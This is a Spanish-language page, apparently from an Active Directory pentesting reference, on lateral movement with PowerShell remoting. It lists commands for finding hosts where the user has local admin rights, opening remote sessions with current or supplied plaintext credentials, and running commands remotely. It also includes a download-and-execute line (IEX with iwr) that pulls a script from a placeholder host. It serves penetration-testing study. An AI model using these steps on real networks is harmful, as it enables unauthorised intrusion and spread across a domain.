> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/movimiento-lateral/powershell-remoting.md).

# PowerShell remoting

Utilizando credenciales de sesión actual.

```powershell
# PowerView
# encontrar todas los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local
Find-LocalAdminAccess

# Stateless (sin estado)
Enter-PSSession -ComputerName <computer-name>

# Stateful (con estado)
$session = New-PSSession -ComputerName <computer-name>
Enter-PSSession -Session $session
```

Utilizando credenciales de un usuario en particular.

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential ("<ACME.LOCAL>\<user>", $UserPassword)
Enter-PSSession -ComputerName <computer-name> -Credential $UserCredential
```

Ejecución de comandos.

```powershell
Invoke-Command -ComputerName <computer-name> -ScriptBlock {hostname; whoami; ipconfig}
```

Ejecución de script.

```powershell
# Opción 1
IEX (iwr http://<IP-address>:<port>/script.ps1 -UseBasicParsing)
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -Session $session -ScriptBlock ${function:<function-name>}

# Opción 2
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -FilePath C:\<path>\script.ps1 -Session $session
Enter-PSSession -Session $session
<function-name>

# Opción 3
Import-Module C:\<path>\script.ps1
Invoke-Command -ComputerName <computer-name> -ScriptBlock ${function:<function-name>}
```